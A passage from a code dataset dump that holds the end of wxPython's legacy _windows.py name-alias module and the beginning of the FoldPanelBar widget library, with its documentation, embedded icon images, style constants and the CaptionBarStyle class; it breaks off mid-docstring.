wx._windows.USER_ATTENTION_ERROR\nwxTopLevelWindow = wx._windows.TopLevelWindow\nwxFrame = wx._windows.Frame\nwxPreFrame = wx._windows.PreFrame\nwxFrame_GetClassDefaultAttributes = wx._windows.Frame_GetClassDefaultAttributes\nwxDialog = wx._windows.Dialog\nwxPreDialog = wx._windows.PreDialog\nwxDialog_GetClassDefaultAttributes = wx._windows.Dialog_GetClassDefaultAttributes\nwxMiniFrame = wx._windows.MiniFrame\nwxPreMiniFrame = wx._windows.PreMiniFrame\nwxSPLASH_CENTRE_ON_PARENT = wx._windows.SPLASH_CENTRE_ON_PARENT\nwxSPLASH_CENTRE_ON_SCREEN = wx._windows.SPLASH_CENTRE_ON_SCREEN\nwxSPLASH_NO_CENTRE = wx._windows.SPLASH_NO_CENTRE\nwxSPLASH_TIMEOUT = wx._windows.SPLASH_TIMEOUT\nwxSPLASH_NO_TIMEOUT = wx._windows.SPLASH_NO_TIMEOUT\nwxSplashScreenWindow = wx._windows.SplashScreenWindow\nwxSplashScreen = wx._windows.SplashScreen\nwxSB_NORMAL = wx._windows.SB_NORMAL\nwxSB_FLAT = wx._windows.SB_FLAT\nwxSB_RAISED = wx._windows.SB_RAISED\nwxStatusBar = wx._windows.StatusBar\nwxPreStatusBar = wx._windows.PreStatusBar\nwxStatusBar_GetClassDefaultAttributes = wx._windows.StatusBar_GetClassDefaultAttributes\nwxSplitterNameStr = wx._windows.SplitterNameStr\nwxSP_NOBORDER = wx._windows.SP_NOBORDER\nwxSP_NOSASH = wx._windows.SP_NOSASH\nwxSP_PERMIT_UNSPLIT = wx._windows.SP_PERMIT_UNSPLIT\nwxSP_LIVE_UPDATE = wx._windows.SP_LIVE_UPDATE\nwxSP_3DSASH = wx._windows.SP_3DSASH\nwxSP_3DBORDER = wx._windows.SP_3DBORDER\nwxSP_NO_XP_THEME = wx._windows.SP_NO_XP_THEME\nwxSP_BORDER = wx._windows.SP_BORDER\nwxSP_3D = wx._windows.SP_3D\nwxSPLIT_HORIZONTAL = wx._windows.SPLIT_HORIZONTAL\nwxSPLIT_VERTICAL = wx._windows.SPLIT_VERTICAL\nwxSPLIT_DRAG_NONE = wx._windows.SPLIT_DRAG_NONE\nwxSPLIT_DRAG_DRAGGING = wx._windows.SPLIT_DRAG_DRAGGING\nwxSPLIT_DRAG_LEFT_DOWN = wx._windows.SPLIT_DRAG_LEFT_DOWN\nwxSplitterWindow = wx._windows.SplitterWindow\nwxPreSplitterWindow = wx._windows.PreSplitterWindow\nwxSplitterWindow_GetClassDefaultAttributes = wx._windows.SplitterWindow_GetClassDefaultAttributes\nwxSplitterEvent = wx._windows.SplitterEvent\nwxEVT_COMMAND_SPLITTER_SASH_POS_CHANGED = wx._windows.wxEVT_COMMAND_SPLITTER_SASH_POS_CHANGED\nwxEVT_COMMAND_SPLITTER_SASH_POS_CHANGING = wx._windows.wxEVT_COMMAND_SPLITTER_SASH_POS_CHANGING\nwxEVT_COMMAND_SPLITTER_DOUBLECLICKED = wx._windows.wxEVT_COMMAND_SPLITTER_DOUBLECLICKED\nwxEVT_COMMAND_SPLITTER_UNSPLIT = wx._windows.wxEVT_COMMAND_SPLITTER_UNSPLIT\nwxSashNameStr = wx._windows.SashNameStr\nwxSashLayoutNameStr = wx._windows.SashLayoutNameStr\nwxSASH_DRAG_NONE = wx._windows.SASH_DRAG_NONE\nwxSASH_DRAG_DRAGGING = wx._windows.SASH_DRAG_DRAGGING\nwxSASH_DRAG_LEFT_DOWN = wx._windows.SASH_DRAG_LEFT_DOWN\nwxSW_NOBORDER = wx._windows.SW_NOBORDER\nwxSW_BORDER = wx._windows.SW_BORDER\nwxSW_3DSASH = wx._windows.SW_3DSASH\nwxSW_3DBORDER = wx._windows.SW_3DBORDER\nwxSW_3D = wx._windows.SW_3D\nwxSASH_TOP = wx._windows.SASH_TOP\nwxSASH_RIGHT = wx._windows.SASH_RIGHT\nwxSASH_BOTTOM = wx._windows.SASH_BOTTOM\nwxSASH_LEFT = wx._windows.SASH_LEFT\nwxSASH_NONE = wx._windows.SASH_NONE\nwxSashWindow = wx._windows.SashWindow\nwxPreSashWindow = wx._windows.PreSashWindow\nwxSASH_STATUS_OK = wx._windows.SASH_STATUS_OK\nwxSASH_STATUS_OUT_OF_RANGE = wx._windows.SASH_STATUS_OUT_OF_RANGE\nwxSashEvent = wx._windows.SashEvent\nwxEVT_SASH_DRAGGED = wx._windows.wxEVT_SASH_DRAGGED\nwxLAYOUT_HORIZONTAL = wx._windows.LAYOUT_HORIZONTAL\nwxLAYOUT_VERTICAL = wx._windows.LAYOUT_VERTICAL\nwxLAYOUT_NONE = wx._windows.LAYOUT_NONE\nwxLAYOUT_TOP = wx._windows.LAYOUT_TOP\nwxLAYOUT_LEFT = wx._windows.LAYOUT_LEFT\nwxLAYOUT_RIGHT = wx._windows.LAYOUT_RIGHT\nwxLAYOUT_BOTTOM = wx._windows.LAYOUT_BOTTOM\nwxLAYOUT_LENGTH_Y = wx._windows.LAYOUT_LENGTH_Y\nwxLAYOUT_LENGTH_X = wx._windows.LAYOUT_LENGTH_X\nwxLAYOUT_MRU_LENGTH = wx._windows.LAYOUT_MRU_LENGTH\nwxLAYOUT_QUERY = wx._windows.LAYOUT_QUERY\nwxEVT_QUERY_LAYOUT_INFO = wx._windows.wxEVT_QUERY_LAYOUT_INFO\nwxEVT_CALCULATE_LAYOUT = wx._windows.wxEVT_CALCULATE_LAYOUT\nwxQueryLayoutInfoEvent = wx._windows.QueryLayoutInfoEvent\nwxCalculateLayoutEvent = wx._windows.CalculateLayoutEvent\nwxSashLayoutWindow = wx._windows.SashLayoutWindow\nwxPreSashLayoutWindow = wx._windows.PreSashLayoutWindow\nwxLayoutAlgorithm = wx._windows.LayoutAlgorithm\nwxPopupWindow = wx._windows.PopupWindow\nwxPrePopupWindow = wx._windows.PrePopupWindow\nwxPopupTransientWindow = wx._windows.PopupTransientWindow\nwxPopupTransientWindow = wx._windows.PopupTransientWindow\nwxPrePopupTransientWindow = wx._windows.PrePopupTransientWindow\nwxTipWindow = wx._windows.TipWindow\nwxVScrolledWindow = wx._windows.VScrolledWindow\nwxVScrolledWindow = wx._windows.VScrolledWindow\nwxPreVScrolledWindow = wx._windows.PreVScrolledWindow\nwxVListBoxNameStr = wx._windows.VListBoxNameStr\nwxVListBox = wx._windows.VListBox\nwxVListBox = wx._windows.VListBox\nwxPreVListBox = wx._windows.PreVListBox\nwxHtmlListBox = wx._windows.HtmlListBox\nwxHtmlListBox = wx._windows.HtmlListBox\nwxPreHtmlListBox = wx._windows.PreHtmlListBox\nwxTaskBarIcon = wx._windows.TaskBarIcon\nwxTaskBarIcon = wx._windows.TaskBarIcon\nwxTaskBarIconEvent = wx._windows.TaskBarIconEvent\nwxEVT_TASKBAR_MOVE = wx._windows.wxEVT_TASKBAR_MOVE\nwxEVT_TASKBAR_LEFT_DOWN = wx._windows.wxEVT_TASKBAR_LEFT_DOWN\nwxEVT_TASKBAR_LEFT_UP = wx._windows.wxEVT_TASKBAR_LEFT_UP\nwxEVT_TASKBAR_RIGHT_DOWN = wx._windows.wxEVT_TASKBAR_RIGHT_DOWN\nwxEVT_TASKBAR_RIGHT_UP = wx._windows.wxEVT_TASKBAR_RIGHT_UP\nwxEVT_TASKBAR_LEFT_DCLICK = wx._windows.wxEVT_TASKBAR_LEFT_DCLICK\nwxEVT_TASKBAR_RIGHT_DCLICK = wx._windows.wxEVT_TASKBAR_RIGHT_DCLICK\nwxFileSelectorPromptStr = wx._windows.FileSelectorPromptStr\nwxDirSelectorPromptStr = wx._windows.DirSelectorPromptStr\nwxDirDialogNameStr = wx._windows.DirDialogNameStr\nwxFileSelectorDefaultWildcardStr = wx._windows.FileSelectorDefaultWildcardStr\nwxGetTextFromUserPromptStr = wx._windows.GetTextFromUserPromptStr\nwxMessageBoxCaptionStr = wx._windows.MessageBoxCaptionStr\nwxColourData = wx._windows.ColourData\nwxColourDialog = wx._windows.ColourDialog\nwxGetColourFromUser = wx._windows.GetColourFromUser\nwxDirDialog = wx._windows.DirDialog\nwxFileDialog = wx._windows.FileDialog\nwxCHOICEDLG_STYLE = wx._windows.CHOICEDLG_STYLE\nwxMultiChoiceDialog = wx._windows.MultiChoiceDialog\nwxSingleChoiceDialog = wx._windows.SingleChoiceDialog\nwxTextEntryDialogStyle = wx._windows.TextEntryDialogStyle\nwxTextEntryDialog = wx._windows.TextEntryDialog\nwxGetPasswordFromUserPromptStr = wx._windows.GetPasswordFromUserPromptStr\nwxPasswordEntryDialog = wx._windows.PasswordEntryDialog\nwxFontData = wx._windows.FontData\nwxFontDialog = wx._windows.FontDialog\nwxGetFontFromUser = wx._windows.GetFontFromUser\nwxMessageDialog = wx._windows.MessageDialog\nwxProgressDialog = wx._windows.ProgressDialog\nwxFR_DOWN = wx._windows.FR_DOWN\nwxFR_WHOLEWORD = wx._windows.FR_WHOLEWORD\nwxFR_MATCHCASE = wx._windows.FR_MATCHCASE\nwxFR_REPLACEDIALOG = wx._windows.FR_REPLACEDIALOG\nwxFR_NOUPDOWN = wx._windows.FR_NOUPDOWN\nwxFR_NOMATCHCASE = wx._windows.FR_NOMATCHCASE\nwxFR_NOWHOLEWORD = wx._windows.FR_NOWHOLEWORD\nwxEVT_COMMAND_FIND = wx._windows.wxEVT_COMMAND_FIND\nwxEVT_COMMAND_FIND_NEXT = wx._windows.wxEVT_COMMAND_FIND_NEXT\nwxEVT_COMMAND_FIND_REPLACE = wx._windows.wxEVT_COMMAND_FIND_REPLACE\nwxEVT_COMMAND_FIND_REPLACE_ALL = wx._windows.wxEVT_COMMAND_FIND_REPLACE_ALL\nwxEVT_COMMAND_FIND_CLOSE = wx._windows.wxEVT_COMMAND_FIND_CLOSE\nwxFindDialogEvent = wx._windows.FindDialogEvent\nwxFindReplaceData = wx._windows.FindReplaceData\nwxFindReplaceDialog = wx._windows.FindReplaceDialog\nwxPreFindReplaceDialog = wx._windows.PreFindReplaceDialog\nIDM_WINDOWTILE = wx._windows.IDM_WINDOWTILE\nIDM_WINDOWTILEHOR = wx._windows.IDM_WINDOWTILEHOR\nIDM_WINDOWCASCADE = wx._windows.IDM_WINDOWCASCADE\nIDM_WINDOWICONS = wx._windows.IDM_WINDOWICONS\nIDM_WINDOWNEXT = wx._windows.IDM_WINDOWNEXT\nIDM_WINDOWTILEVERT = wx._windows.IDM_WINDOWTILEVERT\nIDM_WINDOWPREV = wx._windows.IDM_WINDOWPREV\nwxFIRST_MDI_CHILD = wx._windows.FIRST_MDI_CHILD\nwxLAST_MDI_CHILD = wx._windows.LAST_MDI_CHILD\nwxMDIParentFrame = wx._windows.MDIParentFrame\nwxPreMDIParentFrame = wx._windows.PreMDIParentFrame\nwxMDIChildFrame = wx._windows.MDIChildFrame\nwxPreMDIChildFrame = wx._windows.PreMDIChildFrame\nwxMDIClientWindow = wx._windows.MDIClientWindow\nwxPreMDIClientWindow = wx._windows.PreMDIClientWindow\nwxPyWindow = wx._windows.PyWindow\nwxPrePyWindow = wx._windows.PrePyWindow\nwxPyPanel = wx._windows.PyPanel\nwxPrePyPanel = wx._windows.PrePyPanel\nwxPyScrolledWindow = wx._windows.PyScrolledWindow\nwxPrePyScrolledWindow = wx._windows.PrePyScrolledWindow\nwxPrintoutTitleStr = wx._windows.PrintoutTitleStr\nwxPreviewCanvasNameStr = wx._windows.PreviewCanvasNameStr\nwxPRINT_MODE_NONE = wx._windows.PRINT_MODE_NONE\nwxPRINT_MODE_PREVIEW = wx._windows.PRINT_MODE_PREVIEW\nwxPRINT_MODE_FILE = wx._windows.PRINT_MODE_FILE\nwxPRINT_MODE_PRINTER = wx._windows.PRINT_MODE_PRINTER\nwxPRINT_MODE_STREAM = wx._windows.PRINT_MODE_STREAM\nwxPRINTBIN_DEFAULT = wx._windows.PRINTBIN_DEFAULT\nwxPRINTBIN_ONLYONE = wx._windows.PRINTBIN_ONLYONE\nwxPRINTBIN_LOWER = wx._windows.PRINTBIN_LOWER\nwxPRINTBIN_MIDDLE = wx._windows.PRINTBIN_MIDDLE\nwxPRINTBIN_MANUAL = wx._windows.PRINTBIN_MANUAL\nwxPRINTBIN_ENVELOPE = wx._windows.PRINTBIN_ENVELOPE\nwxPRINTBIN_ENVMANUAL = wx._windows.PRINTBIN_ENVMANUAL\nwxPRINTBIN_AUTO = wx._windows.PRINTBIN_AUTO\nwxPRINTBIN_TRACTOR = wx._windows.PRINTBIN_TRACTOR\nwxPRINTBIN_SMALLFMT = wx._windows.PRINTBIN_SMALLFMT\nwxPRINTBIN_LARGEFMT = wx._windows.PRINTBIN_LARGEFMT\nwxPRINTBIN_LARGECAPACITY = wx._windows.PRINTBIN_LARGECAPACITY\nwxPRINTBIN_CASSETTE = wx._windows.PRINTBIN_CASSETTE\nwxPRINTBIN_FORMSOURCE = wx._windows.PRINTBIN_FORMSOURCE\nwxPRINTBIN_USER = wx._windows.PRINTBIN_USER\nwxPrintData = wx._windows.PrintData\nwxPageSetupDialogData = wx._windows.PageSetupDialogData\nwxPageSetupDialog = wx._windows.PageSetupDialog\nwxPrintDialogData = wx._windows.PrintDialogData\nwxPrintDialog = wx._windows.PrintDialog\nwxPRINTER_NO_ERROR = wx._windows.PRINTER_NO_ERROR\nwxPRINTER_CANCELLED = wx._windows.PRINTER_CANCELLED\nwxPRINTER_ERROR = wx._windows.PRINTER_ERROR\nwxPrinter = wx._windows.Printer\nwxPrinter_GetLastError = wx._windows.Printer_GetLastError\nwxPrintout = wx._windows.Printout\nwxPrintout = wx._windows.Printout\nwxPreviewCanvas = wx._windows.PreviewCanvas\nwxPreviewFrame = wx._windows.PreviewFrame\nwxPREVIEW_PRINT = wx._windows.PREVIEW_PRINT\nwxPREVIEW_PREVIOUS = wx._windows.PREVIEW_PREVIOUS\nwxPREVIEW_NEXT = wx._windows.PREVIEW_NEXT\nwxPREVIEW_ZOOM = wx._windows.PREVIEW_ZOOM\nwxPREVIEW_FIRST = wx._windows.PREVIEW_FIRST\nwxPREVIEW_LAST = wx._windows.PREVIEW_LAST\nwxPREVIEW_GOTO = wx._windows.PREVIEW_GOTO\nwxPREVIEW_DEFAULT = wx._windows.PREVIEW_DEFAULT\nwxID_PREVIEW_CLOSE = wx._windows.ID_PREVIEW_CLOSE\nwxID_PREVIEW_NEXT = wx._windows.ID_PREVIEW_NEXT\nwxID_PREVIEW_PREVIOUS = wx._windows.ID_PREVIEW_PREVIOUS\nwxID_PREVIEW_PRINT = wx._windows.ID_PREVIEW_PRINT\nwxID_PREVIEW_ZOOM = wx._windows.ID_PREVIEW_ZOOM\nwxID_PREVIEW_FIRST = wx._windows.ID_PREVIEW_FIRST\nwxID_PREVIEW_LAST = wx._windows.ID_PREVIEW_LAST\nwxID_PREVIEW_GOTO = wx._windows.ID_PREVIEW_GOTO\nwxPreviewControlBar = wx._windows.PreviewControlBar\nwxPrintPreview = wx._windows.PrintPreview\nwxPyPrintPreview = wx._windows.PyPrintPreview\nwxPyPreviewFrame = wx._windows.PyPreviewFrame\nwxPyPreviewControlBar = wx._windows.PyPreviewControlBar\n\nwxFRAME_EX_CONTEXTHELP = wx._windows.FRAME_EX_CONTEXTHELP\nwxDIALOG_EX_CONTEXTHELP = wx._windows.DIALOG_EX_CONTEXTHELP\n\n\nd = globals()\nfor k, v in wx._windows.__dict__.iteritems():\n if k.startswith('EVT'):\n d[k] = v\n elif k.startswith('IDM'):\n d[k] = v\ndel d, k, v\n\n\n\n", "id": "4539844", "language": "Python", "matching_score": 3.0617520809173584, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/_windows.py" }, { "content": "# --------------------------------------------------------------------------- #\n# FOLDPANELBAR wxPython IMPLEMENTATION\n# Ported From <NAME> & Julian Smart (Extended Demo) C++ Code By:\n#\n# <NAME>, @ 23 Mar 2005\n# Latest Revision: 14 Nov 2010, 12.00 GMT\n#\n#\n# TODO List\n#\n# All The C++ TODOs Are Still Alive. I Am Not Able to Read Jorges's Mind\n# So I Don't Really Know What Will Be The New Features/Additions He Will\n# Make On His Code. At The Moment They Are:\n#\n# 1. OnPaint Function In CaptionBar Class:\n# TODO: Maybe First A Memory Dc Should Draw All, And Then Paint It On The\n# Caption. This Way A Flickering Arrow During Resize Is Not Visible.\n#\n# 2. OnChar Function In CaptionBar Class:\n# TODO: This Is Easy To Do But I Don't Have Any Useful Idea On Which Kind\n# Of Features To Add. Does Anyone Have An Intelligent Idea?\n#\n# 3. AddFoldPanelWindow Function In FoldPanelBar Class:\n# TODO: Take Old And New Heights, And If Difference, Reposition All The\n# Lower Panels. This Is Because The User Can Add New wxWindow Controls\n# Somewhere In Between When Other Panels Are Already Present.\n# Don't Know What It Means. Probably Is My Poor English...\n#\n# 4. OnSizePanel Function In FoldPanelBar Class:\n# TODO: A Smart Way To Check Wether The Old - New Width Of The\n# Panel Changed, If So No Need To Resize The Fold Panel Items\n#\n#\n# DONE List:\n#\n# 1. Implemented Styles Like FPB_SINGLE_FOLD and FPB_EXCLUSIVE_FOLD\n# Thanks To <NAME> For His Nice Suggestions.\n#\n# 2. Added Some Maquillage To FoldPanelBar: When The Mouse Enters The Icon\n# Region, It Is Changed To wx.CURSOR_HAND.\n#\n#\n# For The Original TODO List From Jorgen, Please Refer To:\n# http://www.solidsteel.nl/jorg/components/foldpanel/wxFoldPanelBar.php#todo_list\n#\n#\n#\n# For All Kind Of Problems, Requests Of Enhancements And Bug Reports, Please\n# Write To Me At:\n#\n# <EMAIL>\n# <EMAIL>\n#\n# Or, Obviously, To The wxPython Mailing List!!!\n#\n#\n# End Of Comments\n# --------------------------------------------------------------------------- #\n\n\n\"\"\"\nFoldPanelBar is a control that contains multiple panels, which can be expanded\nor collapsed.\n\n\nDescription\n===========\n\nThe FoldPanelBar is a control that contains multiple panels (of type\nL{FoldPanelItem}) that can be expanded or collapsed. The captionbar of\nthe FoldPanelBar can be customized by setting it to a horizontal gradient\nstyle, vertical gradient style, a single colour, a rectangle or filled\nrectangle. The FoldPanel items can be collapsed in place or to the\nbottom of the control. `wx.Window` derived controls can be added\ndynamically, and separated by separator lines.\n \n \nHow does it work\n----------------\n\nThe internals of the FoldPanelBar is a list of L{FoldPanelItem} objects. Through\nthe reference of `FoldPanel` these panels can be controlled by adding new controls\nto a FoldPanel or adding new FoldPanels to the FoldPanelBar.\n\nThe L{CaptionBar} fires events to the parent (container of all panel items) when a\nsub-panel needs resizing (either folding or expanding). The fold or expand process\nis simply a resize of the panel so it looks like all controls on it are gone. All\ncontrols are still child of the `FoldPanel` they are located on. If they don't\nhandle the event (and they won't) then the owner of the FoldPanelBar gets the\nevents.\n\nThis is what you need to handle the controls. There isn't much to it just\na lot of calculations to see what panel belongs where. There are no sizers\ninvolved in the panels, everything is purely x-y positioning. \n\n\nWhat can it do and what not?\n----------------------------\n\na) What it can do:\n\n * Run-time addition of panels (no deletion just yet);\n * Run time addition of controls to the panel (it will be resized accordingly);\n * Creating panels in collapsed mode or expanded mode;\n * Various modes of caption behaviour and filling to make it more appealing;\n * Panels can be folded and collapsed (or all of them) to allow more space.\n \nb) What it cannot do:\n\n * Selection of a panel like in a listctrl;\n * Dragging and dropping the panels;\n * Re-ordering the panels (not yet). \n\n \nSupported Platforms\n===================\n\nFoldPanelBar is supported on the following platforms: \n * Windows (Verified on Windows XP, 2000)\n * Linux/Unix (GTK2) (Thanks to <NAME> and <NAME>)\n * Mac OSX (Thanks to <NAME> for the CaptionBar size patch)\n\n\nWindow Styles\n=============\n\nThis class supports the following window styles:\n\n========================== =========== ==================================================\nWindow Styles Hex Value Description\n========================== =========== ==================================================\n``FPB_SINGLE_FOLD`` 0x1 Single fold forces other panels to close when they are open, and only opens the current panel. This will allow the open panel to gain the full size left in the client area. This is an extra style.\n``FPB_COLLAPSE_TO_BOTTOM`` 0x2 All panels are stacked to the bottom. When they are expanded again they show up at the top. This is an extra style.\n``FPB_EXCLUSIVE_FOLD`` 0x4 ``FPB_SINGLE_FOLD`` style plus the panels will be stacked at the bottom. This is an extra style.\n``FPB_HORIZONTAL`` 0x8 `FoldPanelBar` will be horizontal.\n``FPB_VERTICAL`` 0x10 `FoldPanelBar` will be vertical.\n========================== =========== ==================================================\n\n\nEvents Processing\n=================\n\nThis class processes the following events:\n\n================== ==================================================\nEvent Name Description\n================== ==================================================\n``EVT_CAPTIONBAR`` The user has pressed the caption bar: `FoldPanelBar` will either expand or collapse the underlying panel.\n================== ==================================================\n\n\nLicense And Version\n===================\n\nFoldPanelBar is distributed under the wxPython license.\n\nLatest Revision: <NAME> @ 27 Nov 2009, 15.00 GMT\n\nVersion 0.5\n\n\"\"\"\n\nimport wx\n\n#----------------------------------------------------------------------\n# Collapsed And Expanded Bitmap Images\n# Created With img2py.py \n#----------------------------------------------------------------------\nfrom wx.lib.embeddedimage import PyEmbeddedImage\n\nCollapsedIcon = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAADdJ\"\n \"REFUOI1jZGRiZqAEMFGke/Ab8P/f3/8D5wKY7YRcQRsXoNuKzxXUdwEu23CJU+wCxtG8wAAA\"\n \"mvUb+vltJD8AAAAASUVORK5CYII=\")\n\nExpandedIcon = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAEJJ\"\n \"REFUOI1jZGRiZqAEMFGke1AYwIIu8P/f3/+4FDMyMTNS3QUYBmCzBZ84bQIR3TZcttPOBci2\"\n \"4rOdKi5gHM0LDACevARXGc9htQAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\n# FOLDPANELBAR Starts Here\n#----------------------------------------------------------------------\n\n# CAPTIONBAR STYLES\n#\n#- CAPTIONBAR_GRADIENT_V: Draws a vertical gradient from top to bottom\n#- CAPTIONBAR_GRADIENT_H: Draws a horizontal gradient from left to right\n#- CAPTIONBAR_SINGLE: Draws a single filled rectangle to draw the caption\n#- CAPTIONBAR_RECTANGLE: Draws a single colour with a rectangle around the caption\n#- CAPTIONBAR_FILLED_RECTANGLE: Draws a filled rectangle and a border around it\n\nCAPTIONBAR_NOSTYLE = 0\nCAPTIONBAR_GRADIENT_V = 1\nCAPTIONBAR_GRADIENT_H = 2\nCAPTIONBAR_SINGLE = 3\nCAPTIONBAR_RECTANGLE = 4\nCAPTIONBAR_FILLED_RECTANGLE = 5\n\nFPB_EXTRA_X = 10\nFPB_EXTRA_Y = 4\n\n# pixels of the bmp to be aligned from the right filled with space\nFPB_BMP_RIGHTSPACE = 2\n\n# Now supported! Single fold forces\n# other panels to close when they are open, and only opens the current panel.\n# This will allow the open panel to gain the full size left in the client area\nFPB_SINGLE_FOLD = 0x0001\n\"\"\" Single fold forces other panels to close when they are open, and only opens\"\"\" \\\n\"\"\" the current panel. This will allow the open panel to gain the full size left\"\"\" \\\n\"\"\" in the client area. This is an extra style. \"\"\"\n\n# All panels are stacked to the bottom. When they are expanded again they\n# show up at the top\nFPB_COLLAPSE_TO_BOTTOM = 0x0002\n\"\"\" All panels are stacked to the bottom. When they are expanded again they show\"\"\" \\\n\"\"\" up at the top. This is an extra style. \"\"\"\n\n# Now supported! Single fold plus panels\n# will be stacked at the bottom\nFPB_EXCLUSIVE_FOLD = 0x0004\n\"\"\" ``FPB_SINGLE_FOLD`` style plus the panels will be stacked at the bottom. \"\"\" \\\n\"\"\" This is an extra style. \"\"\"\n\n# Orientation Flag \nFPB_HORIZONTAL = 0x0008\n\"\"\" `FoldPanelBar` will be horizontal. \"\"\"\nFPB_VERTICAL = 0x0010 \n\"\"\" `FoldPanelBar` will be vertical. \"\"\"\n\n# FoldPanelItem default settings\nFPB_ALIGN_LEFT = 0 \nFPB_ALIGN_WIDTH = 1\n\nFPB_DEFAULT_LEFTSPACING = 5\nFPB_DEFAULT_RIGHTSPACING = 10\nFPB_DEFAULT_SPACING = 8\n\nFPB_DEFAULT_LEFTLINESPACING = 2\nFPB_DEFAULT_RIGHTLINESPACING = 2\n\n\n# ------------------------------------------------------------------------------ #\n# class CaptionBarStyle\n# ------------------------------------------------------------------------------ #\n\nclass CaptionBarStyle(object):\n \"\"\"\n This class encapsulates the styles you wish to set for the\n L{CaptionBar} (this is the part of the `FoldPanel` where the caption\n is displayed). It can either be applied at creation time be\n reapplied when styles need to be changed.\n\n At construction time, all styles are set to their default\n transparency. This means none of the styles will be applied to\n the L{CaptionBar} in question, meaning it will be created using the\n default internals. When setting i.e the colour, font or panel\n style, these styles become active to be used.\n \"\"\"\n\n def __init__(self):\n \"\"\" Default constructor for this class. \"\"\"\n \n self.ResetDefaults()\n\n\n def ResetDefaults(self):\n \"\"\" Resets default L{CaptionBarStyle}. \"\"\"\n self._firstColourUsed = False\n self._secondColourUsed = False\n self._textColourUsed = False\n self._captionFontUsed = False\n self._captionStyleUsed = False\n self._captionStyle = CAPTIONBAR_GRADIENT_V\n\n\n # ------- CaptionBar Font -------\n \n def SetCaptionFont(self, font):\n \"\"\"\n Sets font for the caption bar.\n\n :param `font`: a valid `wx.Font` object.\n \n :note: If this is not set, the font property is undefined and will not be used.\n Use L{CaptionFontUsed} to check if this style is used.\n \"\"\"\n \n self._captionFont = font\n self._captionFontUsed = True\n\n\n def CaptionFontUsed(self):\n \"\"\" Checks if the caption bar font is set. \"\"\"\n \n return self._captionFontUsed\n\n\n def GetCaptionFont(self):\n \"\"\"\n Returns the font for the caption bar.\n\n :note: Please be warned this will result in an assertion failure when\n this property is not previously set.\n \n :see: L{SetCaptionFont}, L{CaptionFontUsed}\n \"\"\" \n\n return self._captionFont\n\n\n # ------- First Colour -------\n \n def SetFirstColour(self, colour):\n \"\"\"\n Sets first colour for the caption bar.\n\n :param `colour`: a valid `wx.Colour` object.\n \n :note: If this is not set, the colour property is undefined and will not be used.\n Use L{FirstColourUsed} to check if this style is used.\n \"\"\"\n \n self._firstColour = colour\n self._firstColourUsed = True\n\n\n def FirstColourUsed(self):\n \"\"\" Checks if the first colour of the caption bar is set.\"\"\"\n \n return self._firstColourUsed\n\n\n def GetFirstColour(self):\n \"\"\"\n Returns the first colour for the caption bar.\n\n :note: Please be warned this will result in an assertion failure when\n this property is not previously set.\n \n :see: L{SetFirstColour}, L{FirstColourUsed}\n \"\"\"\n \n return self._firstColour\n\n\n # ------- Second Colour -------\n \n def SetSecondColour(self, colour):\n \"\"\"\n Sets second colour for the caption bar.\n\n :param `colour`: a valid `wx.Colour` object.\n\n :note: If this is not set, the colour property is undefined and will not be used.\n Use L{SecondColourUsed} to check if this style is used.\n \"\"\"\n \n self._secondColour = colour\n self._secondColourUsed = True\n\n\n def SecondColourUsed(self):\n \"\"\" Checks if the second colour of the caption bar is set.\"\"\"\n \n return self._secondColourUsed\n\n\n def GetSecondColour(self):\n \"\"\"\n Returns the second colour for the caption bar.\n\n :note: Please be warned this will result in an assertion failure when\n this property is not previously set.\n \n :see: L{SetSecondColour}, L{SecondColourUsed}\n \"\"\"\n \n return self._secondColour\n\n\n # ------- Caption Text Colour -------\n \n def SetCaptionColour(self, colour):\n \"\"\"\n Sets caption colour for the caption bar.\n\n :param `colour`: a valid `wx.Colour` object.\n\n :note: If this is not set, the colour property is undefined and will not be used.\n Use L{CaptionColourUsed} to check if this style is used.\n \"\"\"\n \n self._textColour = colour\n self._textColourUsed = True\n\n\n def CaptionColourUsed(self):\n \"\"\" Checks if the caption colour of the caption bar is set.\"\"\" \n\n return self._textColourUsed\n\n\n def GetCaptionColour(self):\n \"\"\"\n Returns the caption colour for the caption bar.\n\n :note: Please be warned this will result in an assertion failure\n when this property is not previously set.\n \n :see: L{SetCaptionColour}, L{CaptionColourUsed}\n \"\"\"\n \n return self._textColour\n\n\n # ------- CaptionStyle -------\n \n def SetCaptionStyle(self, style):\n \"\"\"\n Sets caption style for the caption bar.\n\n :param `style`: can be one of the following bits:\n\n =============================== ======= =============================\n Caption Style Value Description\n =============================== ======= =============================\n ``CAPTIONBAR_GRADIENT_V`` 1 Draws a vertical gradient from top to bottom\n ``CAPTIONBAR_GRADIENT_H`` 2 Draws a horizontal gradient from left to right\n ``CAPTIONBAR_SINGLE`` 3 Draws a single filled rectangle to draw the caption\n ``CAPTIONBAR_RECTANGLE`` 4 Draws a single colour with a rectangle around the caption\n ``CAPTIONBAR_FILLED_RECTANGLE`` 5 Draws a filled rectangle and a border around it\n =============================== ======= =============================\n\n :note: If this is not set, the property is undefined and will not be used.\n Use L{CaptionStyleUsed} to check if this style is used.\n \"\"\"\n \n self._captionStyle = style\n self._captionStyleUsed = True\n \n\n def CaptionStyleUsed(self):\n \"\"\" Checks if the caption style of the caption bar is set.\"\"\"\n \n return self._captionStyleUsed\n\n\n def GetCaptionStyle(self):\n \"\"\"\n Returns the caption style for the caption bar.\n \n :note: Please be warned this will result in an assertion failure\n when this property is not previously set.\n \n :see: L{SetCaptionStyle}, L{CaptionStyleUsed}\n \"\"\"\n \n return self._captionStyle\n\n\n#-----------------------------------#\n# CaptionBarEvent\n#-----------------------------------#\nwxEVT_CAPTIONBAR = wx.NewEventType()\nEVT_CAPTIONBAR = wx.PyEventBinder(wxEVT_CAPTIONBAR, 0)\n\"\"\" The user has pressed the caption bar: `FoldPanelBar` will either expand or\"\"\" \\\n\"\"\" collapse the underlying panel. \"\"\"\n\n# Define Empty CaptionBar Style\nEmptyCaptionBarStyle = CaptionBarStyle()\n\n# ---------------------------------------------------------------------------- #\n# class CaptionBarEvent\n# ---------------------------------------------------------------------------- #\n\nclass CaptionBarEvent(wx.PyCommandEvent):\n \"\"\"\n This event will be sent when a ``EVT_CAPTIONBAR`` is mapped in the parent.\n It is to notify the parent that the bar is now in collapsed or expanded\n 